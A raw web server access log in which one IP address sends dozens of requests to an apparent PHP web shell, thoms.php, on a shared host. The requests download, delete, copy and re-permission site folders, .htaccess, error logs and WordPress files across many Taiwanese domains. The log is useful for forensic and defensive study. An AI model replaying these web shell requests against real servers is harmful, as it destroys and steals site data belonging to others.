45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?dl=mah.php&p= HTTP/1.1" 200 22210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 200 12318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=bogroup.com.tw&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?p=bfl.com.tw HTTP/1.1" 200 17481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?dl=thoms.php&p= HTTP/1.1" 200 22201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 22211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 22210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76/bossini.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17375 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?del=bft.com.tw&p= HTTP/1.1" 200 22210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=bioway88.com.tw&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=.htaccess&p= HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=ba-guo.com-20260912023525&p= HTTP/1.1" 200 11446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?chmod=beauty-dental.com.tw&p= HTTP/1.1" 200 11435 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16542 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:13 -0400] "GET /bossini.com.tw/thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21153 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 200 22212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=bestjudy.com.tw&p= HTTP/1.1" 200 12322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 12329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 22250 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=big-wife.com.tw&p= HTTP/1.1" 200 12274 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=bfl.com.tw&p= HTTP/1.1" 200 22235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11429 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 22210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=.htaccess&p= HTTP/1.1" 200 22197 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?dl=error_log&p= HTTP/1.1" 200 22159 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?p= HTTP/1.1" 200 22209 "https://163.245.207.76/bossini.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11425 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?p= HTTP/1.1" 200 22208 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=wp-content&p= HTTP/1.1" 200 12299 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?chmod=error_log&p= HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=thoms.php&p= HTTP/1.1" 200 22267 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 22116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 22210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 12323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11434 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?del=wp-content&p= HTTP/1.1" 200 22210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 12328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?dl=.htaccess&p= HTTP/1.1" 200 22211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:14 -0400] "GET /bossini.com.tw/thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12524 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?copy=bestzyx.com.tw&p= HTTP/1.1" 200 12320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=bft.com.tw HTTP/1.1" 200 19373 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus-20260912023538.zip&p= HTTP/1.1" 200 12321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?del=error_log&p= HTTP/1.1" 200 22210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 20935 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 22210 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?copy=.htaccess&p= HTTP/1.1" 200 12302 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?chmod=bestzyx.com.tw&p= HTTP/1.1" 200 11432 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p= HTTP/1.1" 200 22116 "https://163.245.207.76/bossini.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 22201 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?del=cgi-bin&p= HTTP/1.1" 200 22200 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=&view=mah.php HTTP/1.1" 200 11766 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=&settings=1 HTTP/1.1" 200 11840 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17554 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p= HTTP/1.1" 200 22210 "https://163.245.207.76/bossini.com.tw/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=upgrade HTTP/1.1" 200 13834 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?chmod=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 11452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 12325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 200 22193 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?copy=booking-wise2.com.tw&p= HTTP/1.1" 200 12321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 22211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 22212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p=&upload= HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 12324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:15 -0400] "GET /bossini.com.tw/thoms.php?p= HTTP/1.1" 200 22211 "https://163.245.207.76/bossini.com.tw/thoms.php?chmod=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 22251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 22161 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?chmod=upgrade&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 22211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=&view=.htaccess HTTP/1.1" 200 11921 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?copy=mah.php&p= HTTP/1.1" 200 12311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=&view=thoms.php HTTP/1.1" 200 11756 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11431 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?chmod=bft.com.tw&p= HTTP/1.1" 200 11428 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 12313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?copy=cgi-bin&p= HTTP/1.1" 200 12310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:16 -0400] "GET /bossini.com.tw/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 200 22211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
